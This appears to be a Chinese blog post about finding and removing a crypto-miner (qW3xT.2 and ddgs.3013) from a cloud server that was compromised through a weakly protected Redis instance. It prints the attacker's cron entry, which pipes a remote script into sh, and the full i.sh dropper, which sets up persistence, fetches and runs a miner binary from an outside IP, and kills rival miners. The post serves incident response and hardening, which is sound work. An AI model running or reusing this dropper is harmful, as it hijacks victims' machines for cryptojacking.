Emm,qW3xT.2(矿机进程)

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: emmm,长话短说,阿里云服务器被挂矿机了。背景事情还得从两三天前说起。7-31阿里云给我发了一个短信。我还专门和朋友谈(chao)论(feng)Root被提权是什么鬼逻辑,然后就没理。

emmm,长话短说,阿里云服务器被挂矿机了。

背景

事情还得从两三天前说起。7-31阿里云给我发了一个短信。


img_0a962a216e547f90b7b27b060ce723f8.png

我还专门和朋友谈(chao)论(feng)Root被提权是什么鬼逻辑,然后就没理。。因为服务器是自己玩的用,开发阶段给前端暴露api用的,没什么重要的数据。然后:


img_bc0f3a2c8bf7db17dec4b8f6435e5bbc.png

这个短信又发生在8-2号,What,大男子主义上来了,觉得这13有点过分了,有点变本加厉的意思了,然后就说去看看。(当时第一想法就是去看看进程有啥异样)

看一看

img_eef88f2242fba98e70534e1c6f6f4d05.png

wtf,简直不要13 face,cpu占用99.3%,那我用0.7%吗。

.ssh目录看看
[root@FantJ .ssh]# ls
authorized_keys

这可是无密登录的钥匙啊!用于主机之间的无密通信。果断删。

查查这个命令在哪
[root@FantJ ~]# find / -name qW3xT*
/tmp/qW3xT.2
捕捉异常
img_dd278ca4dffac6e4b4449bc7a1dbee20.png
记住这个画面

img_b69ea93ce9332b2e75464ae6a9d71168.png
发现可疑线程

img_6155b802b75c7c8c7e76e4e59890ed93.png
终止矿机脚本

img_afc14c01289120d7d427bf92bf497236.png
又出来了

我为什么会针对它:

  1. PID号很大,证明是新线程
  2. 每次我kill了矿机,它就会执行,然后就消失。(后面会证明这个言论)
  3. 从cpu的稳定来看,没有执行新指令cpu一般均衡。

杀除相关进程

 1022  ps -aux|grep ddg
 1023  kill 11938
 1024  kill 27507

寻找ddgs.3013

[root@FantJ ~]# find / -name ddgs.3013
/tmp/ddgs.3013

定时任务?

干了前面觉得还是没有弄干净,所以我想去看看定时任务列表。

[root@FantJ tmp]# crontab -l

*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

emmm,这一刻真是激动和喜悦。

curl 的这几个 optional 介绍,我也是百度的
-f  - fail在HTTP错误(H)上静默失败(根本没有输出)
-s  -silent静音模式。 不要输出任何东西
      --socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
      --socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
      --socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
      --socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
      --socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
      --socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S   --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L   --location遵循重定向(H)
      --location-trusted like --location并将auth发送给其他主机(H)
[root@FantJ tmp]# crontab -r 
[root@FantJ tmp]# crontab -l
no crontab for root

那又得查查这个i.sh了,突然想起有个定时任务,然后我把定时任务的job运行了以下:

[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

注意这个命令不会下载和执行sh脚本。因为我把管道符去掉了。看到的仅仅是打印的信息。
大概说下这个脚本的意思:

  1. 设置环境变量,写定时任务
  2. 查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
  3. 批量根据关键字杀进程。

我发现有个grep minexmr.com.打开一看,其他网站同理。

img_ee4fb15844034ae1f210439f30a8e77c.png

img_87f68ecf248d7428cbc09ea8c7064a9e.png

img_4f9991c24d7ad7bb054654a480ddc68e.png

反思

问题解决了,过段时间再看看进程情况,应该是没有了,可以说杀的挺彻底了。那么这问题为什么会出现呢。

还得回到阿里云给我的提示:redis。因为自己玩,所以redis的密码我设置的很简单root,被扫到也是很不费劲的事,然后我把密码进行改正。(通过配置文件requirepass或者redis-cli``config set requirepass xxxx),更安全的话,把bindIp设置成自己用的,然后更改默认端口。我没有重要数据,所以稍微意思下就行了,下次再来我再折腾。

不过这个13有个很良心的操作,就是没有删我的redis的keys,很有职业操守。但是还是被金钱奴隶。

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
8月前
|
消息中间件 安全 关系型数据库
kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(一)
kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合
280 0
|
8月前
|
安全 网络安全 Go
kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(二)
kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合
269 0
|
9月前
|
存储 缓存 安全
5.2启动内存分页机制,畅游虚拟空间
5.2启动内存分页机制,畅游虚拟空间
90 0
|
存储 算法 安全
操作系统的奋斗(二)进程与线程
操作系统的奋斗(二)进程与线程
91 0
操作系统的奋斗(二)进程与线程
【操作系统作业】哲学家就餐问题
【操作系统作业】哲学家就餐问题
【操作系统作业】哲学家就餐问题
CPU又烧了,说起来汝可能不信
CPU又烧了,说起来汝可能不信
114 0
|
Linux 调度
进程上下文切换 – 残酷的性能杀手(上)
对于服务器的优化,很多人都有自己的经验和见解,但就我观察,有两点常常会被人忽视 – 上下文切换 和 Cache Line同步 问题,人们往往都会习惯性地把视线集中在尽力减少内存拷贝,减少IO次数这样的问题上,不可否认它们一样重要,但一个高性能服务器需要更细致地去考察这些问题,这个问题我将分成两篇文章...
827 0
|
Linux 测试技术 前端开发
进程上下文切换 – 残酷的性能杀手(下)
几个月一直懒得没动笔写写博客,最近开始动笔写点什么,今天就趁着加班出版本,横下心决定把上次烂尾的文章给收了(上篇:http://www.cppthinker.com/linux/224/context_switch_1/)。
1245 0
|
网络协议 Windows 搜索推荐